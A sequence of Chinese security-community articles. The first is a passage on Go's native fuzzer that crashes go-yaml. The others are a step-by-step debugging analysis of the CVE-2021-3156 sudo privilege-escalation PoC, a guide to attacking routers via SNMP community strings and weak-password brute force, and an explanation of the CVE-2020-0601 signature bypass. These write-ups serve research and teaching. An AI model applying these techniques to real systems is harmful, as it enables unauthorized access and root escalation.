`workerClient` 向工作进程发送 RPC ， `workerServer` 来处理这些RPC ，下面是worker定义的结构体。
type worker struct {
dir string // working directory, same as package directory
binPath string // path to test executable
args []string // arguments for test executable
env []string // environment for test executable
coordinator *coordinator
memMu chan *sharedMem // mutex guarding shared memory with worker; persists across processes.
cmd *exec.Cmd // current worker process
client *workerClient // used to communicate with worker process
waitErr error // last error returned by wait, set before termC is closed.
interrupted bool // true after stop interrupts a running worker.
termC chan struct{} // closed by wait when worker process terminates
}
* **workerComm**
`workerComm`支持用于`workerClint`进程与`workerServer`进程之间通信的管道和共享内存 ， 对共享内存的访问通过
RPC 协议隐式同步实现，`workComm`定义的结构体如下：
type workerComm struct {
fuzzIn, fuzzOut *os.File
memMu chan *sharedMem // mutex guarding shared memory
}
* **workerServer**
`workerServe`r 是一个由worker进程运行的极简的 RPC
服务器，该系统允许coordinator并行运行多个worker进程，并在工作进程意外终止后从共享内存中收集导致崩溃的输入。其定义的结构体如下：
type workerServer struct {
workerComm
m *mutator
coverageMask []byte
fuzzFn func(CorpusEntry) (time.Duration, error)
}
其中`coverageMask`定义了worker的本地覆盖数据，当新的路径被发现它会定期的更新以供coordinator参考。fuzzFn运行worker指定的fuzz目标，当发现一个crash便会返回一个error和其运行该输入花费的时间。
`workerserver`有以下几个方法：
`server()`在 `fuzzIn` 上读取序列化的 RPC 消息 , 当serve收到消息时 , 它调用相应的方法 ,
然后将序列化的结果返回给fuzzout； `fuzz()` 在共享内存中根据随机输入在有限的持续时间或迭代次数内来运行测试函数
，如果`fuzz（）`发现了crash则会提前返回 ； `minimizeInput()` 应用一系列最小化转换， 确保每个最小化仍然会导致错误
，或保持覆盖率；ping() 方法，coordinator调用这个方法来保证worker进程 能够调用F.Fuzz并保持通信等。
* **workerClint**
`workerClient` 是一个极简的 RPC 客户端 ，coordinator进程使用其调用worker进程的方法。其结构体定义如下：
type workerClient struct {
workerComm
m *mutator
mu sync.Mutex
}
其中`mu`为保护workerCommd管道的互斥锁。在workerClint的方法中，与workerServer大都有一个同名的方法，用来告诉worker调用指定方法，如
`workClient.fuzz() 、workClient.minimize()`等
## 覆盖率&最小化
gofuzz采用覆盖率反馈的方式引导fuzzing， Dmitry在[“Fuzzing support for
Go”](https://docs.google.com/document/u/1/d/1zXR-TFL3BfnceEAWytV8bnzB2Tfp6EPFinWVJ5V4QC8/pub)一文中曾经对coverage-guided
fuzzing的引擎的工作逻辑做过如下描述：
start with some (potentially empty) corpus of inputs
for {
choose a random input from the corpus
mutate the input
execute the mutated input and collect code coverage
if the input gives new coverage, add it to the corpus
}
Go 编译器已经对[libFuzzer](https://llvm.org/docs/LibFuzzer.html)提供了检测支持
，所以在gofuzz中重用了该部分。 编译器为每个基本块添加一个 8 位计数器用来统计覆盖率。
当`coordinator`接收到产生新覆盖范围的输入时，它会将该worker进程的覆盖范围与当前组合的覆盖范围数组进行比较：如果另一个worker进程已经发现了提供相同覆盖范围的输入，则把该输入丢弃。如果新的输入确实提供了新的覆盖，则`coordinator`将其发送回worker进程（可能是不同的worker）以进行最小化处理。输入越小，执行的速度往往就越快，
coordinator会将最小化的输入添加到缓存语料库中，之后发送给`worker`以进行进一步的模糊测试 。
当`coordinator`收到导致错误的输入时，它会再次将输入发送回`worker`进程以进行最小化。在这种情况下，工作人员尝试找到仍然会导致错误的较小输入，尽管不一定是相同的错误。输入最小化后，coordinator将其保存到`testdata/corpus/$FuzzTarget`，然后关闭工作进程，以非零状态退出。
gofuzz实现输入最小化主要通过四个循环：
1. 尝试通过2分法剪去尾巴字节
2. 尝试删除每个单独的字节
3. 尝试删除每个可能的字节子集
4. 尝试替换每个字节为可打印的简单可读字节
最小化的相关代码在[go](https://github.com/golang/go)/[src](https://github.com/golang/go/tree/master/src)/[internal](https://github.com/golang/go/tree/master/src/internal)/[fuzz](https://github.com/golang/go/tree/master/src/internal/fuzz)/
**minimize.go** 中.
## 变异
[go](https://github.com/golang/go)/[src](https://github.com/golang/go/tree/master/src)/[internal](https://github.com/golang/go/tree/master/src/internal)/[fuzz](https://github.com/golang/go/tree/master/src/internal/fuzz)/
**mutator.go** 实现了对初始文件的变异功能，其核心代码如下：
func (m *mutator) mutate(vals []any, maxBytes int) {
maxPerVal := maxBytes/len(vals) - 100
i := m.rand(len(vals))
switch v := vals[i].(type) {
case int:
vals[i] = int(m.mutateInt(int64(v), maxInt))
case int8:
vals[i] = int8(m.mutateInt(int64(v), math.MaxInt8))
case int16:
vals[i] = int16(m.mutateInt(int64(v), math.MaxInt16))
case int64:
vals[i] = m.mutateInt(v, maxInt)
case uint:
vals[i] = uint(m.mutateUInt(uint64(v), maxUint))
case uint16:
vals[i] = uint16(m.mutateUInt(uint64(v), math.MaxUint16))
case uint32:
vals[i] = uint32(m.mutateUInt(uint64(v), math.MaxUint32))
case uint64:
vals[i] = m.mutateUInt(uint64(v), maxUint)
case float32:
vals[i] = float32(m.mutateFloat(float64(v), math.MaxFloat32))
case float64:
vals[i] = m.mutateFloat(v, math.MaxFloat64)
case bool:
if m.rand(2) == 1 {
vals[i] = !v // 50% chance of flipping the bool
}
case rune: // int32
vals[i] = rune(m.mutateInt(int64(v), math.MaxInt32))
case byte: // uint8
vals[i] = byte(m.mutateUInt(uint64(v), math.MaxUint8))
case string:
...
case []byte:
...
default:
panic(fmt.Sprintf("type not supported for mutating: %T", vals[i]))
}
}
gofuzz 目前支持的类型有：`string`, `[]byte`、`int`, `int8`, `int16`, `int32`/`rune`,
`int64`、`uint`, `uint8`/`byte`, `uint16`, `uint32`, `uint64`、`float32`,
`float64`、`bool`。以int型为例，可以看到go-native-fuzz对该型的变异方式还比较单一，加上或减去一个随机数，并判断其变异后的返回值不能超高int支持的最大范围。
func (m *mutator) mutateInt(v, maxValue int64) int64 {
var max int64
for {
max = 100
switch m.rand(2) {
case 0:
// Add a random number
if v >= maxValue {
continue
}
if v > 0 && maxValue-v < max {
// Don't let v exceed maxValue
max = maxValue - v
}
v += int64(1 + m.rand(int(max)))
return v
case 1:
// Subtract a random number
if v <= -maxValue {
continue
}
if v < 0 && maxValue+v < max {
// Don't let v drop below -maxValue
max = maxValue + v
}
v -= int64(1 + m.rand(int(max)))
return v
}
}
}
而对于byte[]型的值变异会比较多样化，比如增、删、改、插、交换、亦或等等。
var byteSliceMutators = []byteSliceMutator{
byteSliceRemoveBytes,
byteSliceInsertRandomBytes,
byteSliceDuplicateBytes,
byteSliceOverwriteBytes,
byteSliceBitFlip,
byteSliceXORByte,
byteSliceSwapByte,
byteSliceArithmeticUint8,
byteSliceArithmeticUint16,
byteSliceArithmeticUint32,
byteSliceArithmeticUint64,
byteSliceOverwriteInterestingUint8,
byteSliceOverwriteInterestingUint16,
byteSliceOverwriteInterestingUint32,
byteSliceInsertConstantBytes,
byteSliceOverwriteConstantBytes,
byteSliceShuffleBytes,
byteSliceSwapBytes,
}
func (m *mutator) mutateBytes(ptrB *[]byte)
func (m *mutator) mutateFloat(v, maxValue float64) float64
func (m *mutator) mutateUInt(v, maxValue uint64) uint64
func (m *mutator) mutateInt(v, maxValue int64) int64
...
# 项目实战 ：yaml
项目地址：<https://github.com/go-yaml/yaml>
该项目是作为 [juju](https://juju.ubuntu.com/) 项目的一部分在
[Canonical](https://www.canonical.com/) 中开发的，基于著名的
[libyaml](http://pyyaml.org/wiki/LibYAML) C 库的纯 Go 端口，可以快速可靠地解析和生成 YAML 数据 ，使
Go 程序能够轻松地编码和解码 YAML 值 。
`yaml.Unmarshal()`函数解码在字节切片中找到的第一个文档，并将解码后的值赋给输出值，十分适合作为我们测试的对象。
首先将项目下载的本地，然后`git checkout` 切换到分支 `v3`，之后编写fuzzing函数，创建文件`fuzz_test.go`。
package yaml_test
import (
"testing"
"gopkg.in/yaml.v3"
)
func FuzzUnmarshal(f *testing.F){
f.Add( []byte{1})
f.Fuzz(func(t *testing.T,num []byte){
var v interface{}
_ = yaml.Unmarshal([]byte(num),&v)
})
}
`go test -fuzz =Fuzz` 开始fuzz
null@ubuntu:~/gowork/src/github.com/yaml$ go test -fuzz=Fuzz
OK: 45 passed
fuzz: elapsed: 0s, gathering baseline coverage: 0/1 completed
fuzz: elapsed: 0s, gathering baseline coverage: 1/1 completed, now fuzzing with 2 workers
fuzz: elapsed: 3s, execs: 61041 (20341/sec), new interesting: 129 (total: 130)
fuzz: elapsed: 6s, execs: 142873 (27284/sec), new interesting: 199 (total: 200)
fuzz: elapsed: 9s, execs: 212708 (23280/sec), new interesting: 239 (total: 240)
fuzz: elapsed: 12s, execs: 274044 (20439/sec), new interesting: 271 (total: 272)
fuzz: elapsed: 15s, execs: 320924 (15631/sec), new interesting: 298 (total: 299)
fuzz: elapsed: 18s, execs: 389403 (22820/sec), new interesting: 317 (total: 318)
fuzz: elapsed: 21s, execs: 423864 (11490/sec), new interesting: 334 (total: 335)
fuzz: elapsed: 24s, execs: 444293 (6809/sec), new interesting: 344 (total: 345)
......
可选参数：
* `-fuzztime`: fuzz 目标在退出前将执行的总时间或迭代次数，默认为无限期。
* `-fuzzminimizetime`：在每次最小化尝试期间执行模糊目标的时间或迭代次数，默认为 60 秒。
* `-parallel`：一次运行的模糊测试进程的数量，默认值 `$GOMAXPROCS`。目前，在 fuzzing 期间设置 `-cpu` 无效。
第一行表示在开始模糊测试之前收集了“基线覆盖率”。
* elapsed：自进程开始以来经过的时间量
* execs：针对模糊目标运行的输入总数（自最后一个日志行以来的平均 execs/sec）
* new interesting：已添加到生成的语料库中的“有趣”输入的总数（与整个语料库的总大小）
出现panic之后立马返回，停止fuzz。
--- FAIL: FuzzUnmarshal (362.91s)
--- FAIL: FuzzUnmarshal (0.00s)
testing.go:1349: panic: internal error: attempted to parse unknown event (please report): none
goroutine 1422926 [running]:
runtime/debug.Stack()
/usr/local/go/src/runtime/debug/stack.go:24 +0x90
testing.tRunner.func1()
/usr/local/go/src/testing/testing.go:1349 +0x1f2
panic({0x6be7a0, 0xc00d77d900})
/usr/local/go/src/runtime/panic.go:838 +0x207
gopkg.in/yaml%2ev3.handleErr(0xc0013a36e0)
/home/null/gowork/src/github.com/yaml/yaml.go:294 +0xc5
panic({0x6be7a0, 0xc00d77d900})
/usr/local/go/src/runtime/panic.go:838 +0x207
gopkg.in/yaml%2ev3.(*parser).parse(0xc00d80b800)
/home/null/gowork/src/github.com/yaml/decode.go:163 +0x2d9
gopkg.in/yaml%2ev3.unmarshal({0xc00d653b50, 0x5, 0x10}, {0x6b5ce0?, 0xc00d77d8f0}, 0x0?)
/home/null/gowork/src/github.com/yaml/yaml.go:161 +0x373
gopkg.in/yaml%2ev3.Unmarshal(...)
/home/null/gowork/src/github.com/yaml/yaml.go:89
gopkg.in/yaml%2ev3_test.FuzzUnmarshal.func1(0x0?, {0xc00d653b50, 0x5, 0x10})
/home/null/gowork/src/github.com/yaml/fuzz_test.go:11 +0x55
reflect.Value.call({0x6c14a0?, 0x718e40?, 0x13?}, {0x7041e6, 0x4}, {0xc00d8086c0, 0x2, 0x2?})
/usr/local/go/src/reflect/value.go:556 +0x845
reflect.Value.Call({0x6c14a0?, 0x718e40?, 0x514?}, {0xc00d8086c0, 0x2, 0x2})
/usr/local/go/src/reflect/value.go:339 +0xbf
testing.(*F).Fuzz.func1.1(0x0?)
/usr/local/go/src/testing/fuzz.go:337 +0x231
testing.tRunner(0xc00d7ff040, 0xc00d80e000)
/usr/local/go/src/testing/testing.go:1439 +0x102
created by testing.(*F).Fuzz.func1
/usr/local/go/src/testing/fuzz.go:324 +0x5b8
Failing input written to testdata/fuzz/FuzzUnmarshal/b27ab1d6a899fb4f0607968de5b80e930b49a0e279bd4341c515ebf9bd7e7c78
To re-run:
go test -run=FuzzUnmarshal/b27ab1d6a899fb4f0607968de5b80e930b49a0e279bd4341c515ebf9bd7e7c78
FAIL
exit status 1
出现崩溃后， 模糊引擎会将导致崩溃的输入写入该测试的种子语料库中，而且此输入会当作执行`go test`命令时的默认输入。根据奔溃提示，执行 `go
test
run=FuzzUnmarshal/b27ab1d6a899fb4f0607968de5b80e930b49a0e279bd4341c515ebf9bd7e7c78`
复现。
null@ubuntu:~/gowork/src/github.com/yaml$ go test -run=FuzzUnmarshal/b27ab1d6a899fb4f0607968de5b80e930b49a0e279bd4341c515ebf9bd7e7c78
--- FAIL: FuzzUnmarshal (0.00s)
--- FAIL: FuzzUnmarshal/b27ab1d6a899fb4f0607968de5b80e930b49a0e279bd4341c515ebf9bd7e7c78 (0.00s)
panic: internal error: attempted to parse unknown event (please report): none [recovered]
panic: internal error: attempted to parse unknown event (please report): none [recovered]
panic: internal error: attempted to parse unknown event (please report): none
查看崩溃字符
null@ubuntu:~/gowork/src/github.com/yaml$ cat testdata/fuzz/FuzzUnmarshal/b27ab1d6a899fb4f0607968de5b80e930b49a0e279bd4341c515ebf9bd7e7c78
go test fuzz v1
[]byte(": \xf0")
其中第一行显示了模糊引擎文件的编码版本，下面的是构成语料库条目的值，即导致程序崩溃的输入。
再次运行go test单元测试时，会将该输入当作默认输入并引发崩溃：
null@ubuntu:~/gowork/src/github.com/yaml$ go test
OK: 45 passed
--- FAIL: FuzzUnmarshal (0.00s)
--- FAIL: FuzzUnmarshal/b27ab1d6a899fb4f0607968de5b80e930b49a0e279bd4341c515ebf9bd7e7c78 (0.00s)
panic: internal error: attempted to parse unknown event (please report): none [recovered]
panic: internal error: attempted to parse unknown event (please report): none [recovered]
panic: internal error: attempted to parse unknown event (please report): none
goroutine 70 [running]:
testing.tRunner.func1.2({0x6297a0, 0xc001470350})
/usr/local/go/src/testing/testing.go:1389 +0x24e
testing.tRunner.func1()
/usr/local/go/src/testing/testing.go:1392 +0x39f
panic({0x6297a0, 0xc001470350})
/usr/local/go/src/runtime/panic.go:838 +0x207
gopkg.in/yaml%2ev3.handleErr(0xc0000d16e0)
/home/null/gowork/src/github.com/yaml/yaml.go:294 +0x6d
panic({0x6297a0, 0xc001470350})
/usr/local/go/src/runtime/panic.go:838 +0x207
gopkg.in/yaml%2ev3.(*parser).parse(0xc0017f7400)
/home/null/gowork/src/github.com/yaml/decode.go:163 +0x194
gopkg.in/yaml%2ev3.unmarshal({0xc0017de7e8, 0x5, 0x8}, {0x620ce0?, 0xc001470330}, 0x0?)
/home/null/gowork/src/github.com/yaml/yaml.go:161 +0x306
gopkg.in/yaml%2ev3.Unmarshal(...)
/home/null/gowork/src/github.com/yaml/yaml.go:89
gopkg.in/yaml%2ev3_test.FuzzUnmarshal.func1(0x0?, {0xc0017de7e8, 0x5, 0x8})
/home/null/gowork/src/github.com/yaml/fuzz_test.go:11 +0x55
reflect.Value.call({0x62c4a0?, 0x683e48?, 0x13?}, {0x66f1e6, 0x4}, {0xc0017fc570, 0x2, 0x2?})
/usr/local/go/src/reflect/value.go:556 +0x845
reflect.Value.Call({0x62c4a0?, 0x683e48?, 0x514?}, {0xc0017fc570, 0x2, 0x2})
/usr/local/go/src/reflect/value.go:339 +0xbf
testing.(*F).Fuzz.func1.1(0xc00003d760?)
/usr/local/go/src/testing/fuzz.go:337 +0x231
testing.tRunner(0xc000084ea0, 0xc0017e8510)
/usr/local/go/src/testing/testing.go:1439 +0x102
created by testing.(*F).Fuzz.func1
/usr/local/go/src/testing/fuzz.go:324 +0x5b8
exit status 2
FAIL gopkg.in/yaml.v3 3.033s
使用`": \xf0"`验证该输入是否能正常触发panic。
package main
import(
"fmt"
"gopkg.in/yaml.v3"
)
func main(){
in := ": \xf0"
var n yaml.Node
if err := yaml.Unmarshal([]byte(in),&n);err != nil {
fmt.Println(err)
}
}
运行，成功触发，证明确实存在问题。
null@ubuntu:~/gowork/src/github.com/yaml/fuzztest$ go run fuzz_check.go
panic: internal error: attempted to parse unknown event (please report): none [recovered]
panic: internal error: attempted to parse unknown event (please report): none
goroutine 1 [running]:
gopkg.in/yaml%2ev3.handleErr(0xc000047ed8)
/home/null/gowork/src/github.com/yaml/yaml.go:294 +0x6d
panic({0x4e60e0, 0xc000010380})
/usr/local/go/src/runtime/panic.go:838 +0x207
gopkg.in/yaml%2ev3.(*parser).parse(0xc00003ac00)
/home/null/gowork/src/github.com/yaml/decode.go:163 +0x194
gopkg.in/yaml%2ev3.unmarshal({0xc00001a648, 0x5, 0x8}, {0x4f21e0?, 0xc000104320}, 0x0?)
/home/null/gowork/src/github.com/yaml/yaml.go:161 +0x306
gopkg.in/yaml%2ev3.Unmarshal(...)
/home/null/gowork/src/github.com/yaml/yaml.go:89
main.main()
/home/null/gowork/src/github.com/yaml/fuzztest/fuzz_check.go:11 +0x51
exit status 2
查看原因，根据堆栈跟踪，在源码`github.com/yaml/yaml.go:161`和`github.com/yaml/decode.go:163`在加上两句print语句，查看导致panic的值。
运行结果如下，程序已经无法正常解析该输入，具体原因还未搞清，该[问题](https://github.com/go-yaml/yaml/issues/666)在github上已经有人提出，不过目前仍然未被解决。
null@ubuntu:~/gowork/src/github.com/yaml/fuzztest$ go run fuzz_check.go
p: &{{0 0 0 {0 0 0} {0 0 0} 0x4b8a00 <nil> [58 32 32 32 240] 0 false [] 0 0 0 [] 0 0 0 {0 0 0} [] [] [] [] [] [] 0 false false 0 [] 0 0 false 0 [] false [] map[] 0 [] [] [] [] <nil>} {0 {0 0 0} {0 0 0} 0 <nil> [] [] [] [] [] [] [] [] false false 0} <nil> map[] false false}
p.peek: none
panic: internal error: attempted to parse unknown event (please report): none [recovered]
panic: internal error: attempted to parse unknown event (please report): none
goroutine 1 [running]:
gopkg.in/yaml%2ev3.handleErr(0xc000047ec8)
/home/null/gowork/src/github.com/yaml/yaml.go:295 +0x6d
panic({0x4e70e0, 0xc000010380})
/usr/local/go/src/runtime/panic.go:838 +0x207
gopkg.in/yaml%2ev3.(*parser).parse(0xc00003ac00)
/home/null/gowork/src/github.com/yaml/decode.go:164 +0x1f4
gopkg.in/yaml%2ev3.unmarshal({0xc00001a648, 0x5, 0x8}, {0x4f31e0?, 0xc00007e320}, 0x0?)
/home/null/gowork/src/github.com/yaml/yaml.go:162 +0x358
gopkg.in/yaml%2ev3.Unmarshal(...)
/home/null/gowork/src/github.com/yaml/yaml.go:89
main.main()
/home/null/gowork/src/github.com/yaml/fuzztest/fuzz_check.go:11 +0x51
exit status 2
# Limitations
1. 仅仅支持[]byte 和原始类型，不支持struct、slice和array
2. 在同一个pkg里不同运行多个fuzzer
3. 遇到crash会立即停止fuzz
4. 不能直接将现存的文件转换到语料库的格式
在 github上也可以在带有标签的issue上找到一些未解决和待改进的地方
<https://github.com/golang/go/issues?q=is%3Aissue+is%3Aopen+label%3Afuzz>
# 参考链接
<https://speakerdeck.com/david74chou/fuzzying-test-in-go?slide=20>
<https://go.dev/doc/fuzz/>
<https://pkg.go.dev/testing@master#F>
<https://github.com/golang/go/issues/14565>
<https://tonybai.com/2021/12/01/first-class-fuzzing-in-go-1-18/>
<https://jayconrod.com/posts/123/internals-of-go-s-new-fuzzing-system> | 社区文章 |
###### 这个洞应该都不陌生，这篇文章就挨着poc流程分析一遍。
##### 前置知识
######
1、linux的动态链接库，这个东西在web这里基本就在php的`bypass_disable_function`里面出现，以前php的bypass就是通过设置环境变量`LD_PRELOAD`来加载恶意的动态链接库执行我们想要执行的恶意代码，可以通过动态链接库重写函数也可以通过`__attribute__`这个特殊的函数直接执行恶意代码，在程序员的自我修养里面也提到过。
###### 2、suid文件，这个东西大概就是使用文件者具有文件所有者的权限。
######
到这里就应该会想，既然`LD_PRELOAD`这个环境变量存放的动态链接库是预加载的，那suid文件运行是设置这个环境变量不就行了，但是事实是glibc有验证，这里就可以看得如果是setuid(也就是suid文件)就不会加载这个环境变量的动态链接库了，因为这是非常不安全的。
##### poc的流程分析
###### 首先从github上面下载poc源码
<https://github.com/blasty/CVE-2021-3156>
###### 然后调试第二个重写`service_user`的那个poc
<https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt>
######
现在就来调试(后面的的调试都是在root的权限下，不然无法跟进子进程)这个poc吧，首先下载一个sudo（和本机的版本相同，我的是ubuntu的sudo
1.8.21）的源码，然后编译安装，这个可以参考
<https://bbs.pediy.com/thread-265669.htm>
###### 编译安装完成后把生成的sudo复制到`/usr/bin/sudd`，并且设置为root的suid权限（chown root:root
/usr/bin/sudd;chmod u+s /usr/bin/sudd）
###### 然后修改一下poc的2个地方，然后make
###### 先看一下漏洞的地方，在`set_cmnd`的这个函数，不过开始不能执行下断点，得在sudd这个elf文件加载后才行
###### 先在hax.c的execve这里下好断点，然后运行
###### 然后在`__libc_start_main`打好断点，因为要进入子进程了
######
然后在310行下好断点运行，到现在sudd这个elf文件已经加载进来了，但是`set_cmnd`并没有加载了，因为这个是在sudoers.so里面的，得等到他加载了这个动态链接库才行
###### 然后单步(si)运行直到进入了main函数
###### 再次在211下好断点，此时已经加载好了sudoers.so
###### 现在就可以在`set_cmnd`打好断点了，继续运行了
###### 现在就可以开始看他写入修改了什么
######
先看看to变量，发现有本来就只可以写入0x70这么多的数据，后面是一个unsortedbin的chunk，当然这个poc来打开启调试的这个sudo(sudd)是打不通的，因为堆布局不同，这里的目的就是看看他可以修改后面的哪些数据
###### 看看av，可以知道他存放了4个地址，然后挨着看一下
######
看看第一个A后面还有什么，发现了很多005c(`\\x00`)，这个就是`\\x00`，当指向这里时from就会先向后移一位(就指到了`\x00`)，然后to写入`\x00`，from又会加一这样就到了005c(`\\x00`)后面的那个字符了，这样*from就不为空，就会继续循环，循环后会在最后那里写入空格，这也是为什么poc在创建恶意动态链接库时有个空格
###### 好了现在我们通过开启debug的sudo看了流程，大概就是可以堆溢出向后写入数据，现在我们可以退出去调试没有开启debug的sudo了
###### 现在修改hax.c，然后make
######
然后继续调试，在`__libc_start_main`断点之前都一样，现在没有一些符号字符串就比较难下断点了，不过通过刚才的流程可以知道，真正起作用的部分是在加载sudoers.so之后的操作，所以我们在`_dl_open`下好断点
###### 一直继续运行，直到sudoers.so出现，然后finish执行完当前函数返回，然后就加载了sudoers.so
###### 现在我们也不知道具体断点该下在哪里，不过漏洞发布的地方写了是修改的systemd这个字符串，并且将library设置为了空
######
经过刚刚有完整符号表的那个调试可以知道，影响修改的地方是在堆中(堆(heap)的范围通过vmmap指令看到)，所以我们通过find命令来查找systemd
###### 然后watch这2个地址后，继续运行，成功断在了想要停止的地方
###### 然后观察寄存器，R13应该就是to的指针了，让我们在看看这部分堆块的内容
###### 现在看看汇编，然后在计算一下偏移(也就是通过vmmap查看sudoers.so的基址，然后和这里这个地址相减)
######
好了，现在重新开始，目的是为了看看没有溢出前后面的原始数据，重复步骤，直到sudoers.so加载后，vmmap得到基址，加上偏移，然后下好断点，继续运行直到停在断点
###### 停在断点后查看寄存器和堆块的初始值，可以发现没有开启debug的sudo后面不是unsortedbin
######
然后我们把断点下在`nss_load_library`继续运行，就可以发现指针指向的`service_user`这个结构体的地方已经被我们修改了
######
我用bp的一个字符串比较对比了一下修改前后的区别，这个地址是一个`service_user`结构体，我们看看这个结构体的定义，可以发现在ubuntu18下面修改的应该是compat的名字，对于的图中的0x55859fd2a3d0地址的值
######
然后看看`nss_load_library`函数，发现如果`ni->library->lib_handle`如果为空就可以触发`__libc_dlopen`，这个就是加载动态链接库的，配合开始的动态链接库知识就知道，只要加载了我们的恶意链接库就成功了
######
由于`ni->library`此时是空，所以会初始化`ni->library`，初始化的代码，发现他会先到`database->library`里面找，如果存在就直接返回，不存在就会初始化设置`(*currentp)->lib_handle
=
NULL`这样就满足后面的那个`ni->library->lib_handle==NULL`了，所以我们修改的名字只要不出现在`database->library`里面就可以了
###### 然后继续运行就会看到`shlib_name`就为`libnss_X/P0P_SH3LLZ_
.so.2`，这就和poc生成的动态链接库名字一样了
###### 退出调试运行就直接成功提权了 | 社区文章 |
# 边界设备SNMP服务攻击思考
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 SNMP协议分析
### 1\. 概述
网络设备越来越大，就需要实时去管理如此诸多的设备，SNMP应运而生。
SNMP协议，可以用来接收网络节点的通知消息和警告时间报告等，从而获知网络出现的问题。
**SNMP协议版本**
* SNMP V1: SNMP协议最初版本(1998年)
* SNMP V2: SNMP协议第二个版本，对比第一版，再性能、安全、机密性和管理者之间通信等方面进行了大量改进
* SNMP V3: SNMP协议目前最新的版本(2004年)，提升协议的安全性，增加了认证和密文传输功能。
代理在UDP的161端口接收NMS的读写请求消息
管理站在UDP的162端口接收代理的事件通告消息
### 2\. SNMP架构组成
1. 社区:同一个管理框架下的网络管理站和所有的节点的集合
2. 网络管理站:一个管理控制台，也称为网络管理系统(NMS)
3. 节点:网络上的设备(被管理的设备)
### 3\. 工作原理
发现、查询和监视网络中其他设备的状态信息。
管理员通过 **NMS获取网关监控数据** 的工作流程，其中涉及了一些SNMP协议的关键信息
* MIB(管理信息库): 任何一个被管理设备都表示成一个对象，并称为被管理对象。而MIB就是被管理对象的集合。定义了被管理对象的一系列属性，如对象的名称、对象的访问权限和对象的数据类型等。
* SNMP代理: 是一种嵌入再设备中的网络管理软件模块，主要来控制本地机器的管理信息，负责将管理信息转换成SNMP兼容的格式，传递给NMS
工作流程步骤:
1. 管理员查询被管理设备中的对象相关值时，通过网络管理站NMS中的MIB找到相关对象
2. 网络管理站NMS向SNMP代理申请MIB中定义对象的相关值
3. SNMP代理在自己的MIB库中进行查找
4. SNMP代理将找到的对象相关值返回给网络管理站NMS
### 4\. 通信方式
SNMP采用特殊的客户机/服务器模式进行通信。
客户端 —— 网络管理站NMS
服务器 —— SNMP代理
* 网络管理站NMS向SNMP代理发出请求，询问一个MIB定义的信息的参数值
* SNMP代理收到请求后，返回关于MIB定义信息的各种查询
### 5\. 操作类型及命令
操作类型
* get-request: NMS从SNMP Agent处提取一个或多个参数值
* get-response：返回一个或多个参数的值
* get-next-request: 网络管理站NMS从SNMP代理处提取一个或者多个参数的下一个参数值
* set-request: 网络管理站NMS设置SNMP代理处获取MIB的相关参数值
* trap: SNMP代理主动向网络管理站NMS发送报文消息
* informRequest： SNMP代理主动向网络管理站NMS发送报文消息，NMS进行响应
操作命令
Get:管理站读取代理者处对象的值
Set:管理站设置代理者处对象的值
Trap:代理者主动向管理站通报重要事件
### 6\. 报文分析
利用wireshark抓取报文
## 0x02 SNMP服务攻击
Cisco、H3C、华为等厂商生产的网络设备大多支持SNMP网管协议，可以通过SNMP设置设备的某个参数对设备配置进行备份或者更新。
### 1\. MIB文件
鉴于每种设备MIB是不一样的，所对应能执行的操作也是不一样。
### 2\. 敏感信息
GNS3 构造一个思科路由器环境
#### 2.1 修改设备信息
修改思科路由器名字
条件: 获得SNMP可读写团体名
修改之前的名字
修改之后
查看命令
#### 2.2 获取配置文件
获取思科路由器配置文件(模拟测试)
配置开启路由器snmp服务
Router>enable
Router# configure terminal
Router(config)# snmp-server community public RO //读
Router(config)# snmp-server community private RW //写
Router(config)# snmp-server host 192.168.32.2 host //指定客户端，可以设置任意主机
Router(config)# snmp-server enable traps snmp
检测是否开启
下载路由器配置
使用msfconsole内置模块
攻击流程
查看配置文件(可以查看路由器的配置信息，如telnet密码、特权密码、路由、mac地址表等关键信息)
#### 2.3 利用敏感信息获取设备权限
**强网拟态的实战题—(如何获取设备权限)**
1.端口扫描发现设备开启(161端口、22端口)
获取设备名称以及型号
确定设备为一台huawei路由器
2.是否能够获取ssh用户名
查询该设备MIB，定位到查询用户名的OID
查询该路由器用户名
3.尝试暴力破解(是否存在弱口令)
破解得到密码123456
4.登录设备
Huawei的命令行提供了诸如ping、traceroute、telnet等工具，这就意味着你可以对内网的其它主机进行探测，进行进一步的内网渗透。
## 总结
一旦获取网络边界设备的SNMP可读写团体名，就可以直入企业内网之中，获取大量的内网资源，企业内网就不在安全。
## 参考
[https://support.huawei.com/hedex/hdx.do?lib=EDOC1100168845AEJ12147&docid=EDOC1100168845&lang=en&v=05&tocLib=EDOC1100168845AEJ12147&tocV=05&id=EN-US_LOGREF_0313365874&tocURL=resources%2525252Flog%2525252FSSH_USER_LOGIN_5.html&p=t&fe=1&ui=3&keyword=ssh](https://support.huawei.com/hedex/hdx.do?lib=EDOC1100168845AEJ12147&docid=EDOC1100168845&lang=en&v=05&tocLib=EDOC1100168845AEJ12147&tocV=05&id=EN-US_LOGREF_0313365874&tocURL=resources%2525252Flog%2525252FSSH_USER_LOGIN_5.html&p=t&fe=1&ui=3&keyword=ssh) | 社区文章 |
# CVE-2020-0601 Windows CryptoAPI验证绕过漏洞原理简要分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 漏洞原理分析
ECC椭圆曲线加密（Elliptic curve cryptography）是一种建立公开密钥加密的算法，基于椭圆曲线数学，于1985年由Neal
Koblitz和Victor
Miller分别独立提出的。ECC的主要优势在于某些情况下比其他方法使用更小的密钥（如RSA加密算法）来提供相当或更高等级的安全。
ECC椭圆曲线加密原理在于：设G为曲线上一点，d为一个整数令点Q = d.G，若给定d和G，很容易求出Q，若给定G和Q ，很难求出d。
其中Q为公钥，d为私钥。
CVE-2020-0601漏洞原理在于 win10 增加了对带参数ECC密钥的支持，但在 crypt32.dll 中做签名验证时，只检查匹配的公钥
Q，而没有检查生成元 G。 公钥 Q = dG，d 是私钥。由于 win10 支持自定义生成元 G’，攻击者可以提供 G’ = Q，d’ =
e（单位元），使得 公钥Q = dG = d’G’。 这两对（Q, G）-（Q, G’）中 公钥Q 相同，G 与 G’ 不同，由于验证缺陷，只检测 公钥Q。
从而，攻击者用自己的私钥 d’ 签名，会被验证通过，认为是官方私钥d 做出的签名。
伪造的Q = d’G’，在验证签名时过程如下： 假设exe文件 A 的hash值是 X，用伪造的私钥 d’ 签出的值是 Y，验证时，用公钥Q 求解 Y 得到
X，和exe的hash值一致，认证通过，系统认为签名正确，完成绕过。
